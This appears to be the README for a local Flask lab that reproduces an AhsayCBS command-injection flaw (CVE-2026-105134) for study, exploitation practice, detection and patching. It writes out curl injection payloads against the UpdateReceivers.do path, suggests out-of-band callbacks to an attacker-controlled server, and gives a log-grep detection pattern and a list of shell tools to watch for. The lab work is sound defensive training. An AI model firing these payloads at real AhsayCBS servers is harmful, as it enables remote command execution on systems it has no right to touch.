
Educational lab and clean-room reproduction demonstrating the OS command injection pattern in CVE-2026-105134. For defensive research only.
A minimal, self-contained Flask lab modeling the pattern behind
CVE-2026-105134 (Ahsay AhsayCBS, Replication Receiver,
/rps/api/json/UpdateReceivers.do, injection via the random parameter).
This is not the real AhsayCBS code - it's a small reproduction of the same bug class (unsanitized input passed to a shell command) so you can practice identifying, exploiting (safely, locally), detecting, and patching this vulnerability type.
127.0.0.1 inside a VM, container, or disposable sandbox.app.py is intentionally vulnerable. patched_app.py is the fixed version.python3 -m venv venv
source venv/bin/activate
pip install flask
python app.py # vulnerable version, port 5000
# in another shell/terminal:
python patched_app.py # patched version, port 5001
curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
-H "Content-Type: application/json" \
-d '{"receiver_id": "node1", "random": "abc123"}'
The random field is dropped straight into a shell string. Classic
injection via command separators/backticks works:
# Command chaining
curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
-H "Content-Type: application/json" \
-d '{"receiver_id": "node1", "random": "x; whoami; id #"}'
# Command substitution
curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
-H "Content-Type: application/json" \
-d '{"receiver_id": "node1", "random": "x$(uname -a) #"}'
# Reading a file out through stdout
curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
-H "Content-Type: application/json" \
-d '{"receiver_id": "node1", "random": "x; cat /etc/hostname #"}'
The response JSON's stdout/stderr fields will reflect the injected
command's output - in a real-world attack this would just be a blind or
out-of-band command execution with no echoed output, so also try a
blind check (for example sleep 5 and time the response, or trigger an
outbound curl/DNS request to a server you control).
Repeat the same requests against port 5001 (patched_app.py). You should
get HTTP 400 "invalid random token" instead of command execution, because:
shell=True / no string built for a shell at all.random and receiver_id.random/parameter values containing shell metacharacters:
; | & $ ( ) \ > < \n`.
Example (grep against access/app logs):
grep -E '"random":\s*"[^"]*[;&|$()`]' app.log
sh, bash, whoami, curl, wget launched by python/java/
the app's worker process) - this is a strong indicator of command
injection regardless of which parameter was abused.+,
.format()) with any user-controlled value, then calling it with
shell=True (Python), exec()/system() (PHP), Runtime.exec()
with a single string (Java), or backticks/`cmd` in shell scripts.This lab is an independent, clean-room reproduction built to study the pattern of CVE-2026-105134. No code from Ahsay AhsayCBS is included or was referenced - only the public vulnerability description below.
At the time this lab was written, the public CVE record credits VulDB as the assigning CNA and does not list an individual researcher's name or handle. If Ahsay or another authoritative source later publishes a named credit for the original finder, this section should be updated to reflect that.
This project is licensed under the MIT License - see the LICENSE file for details.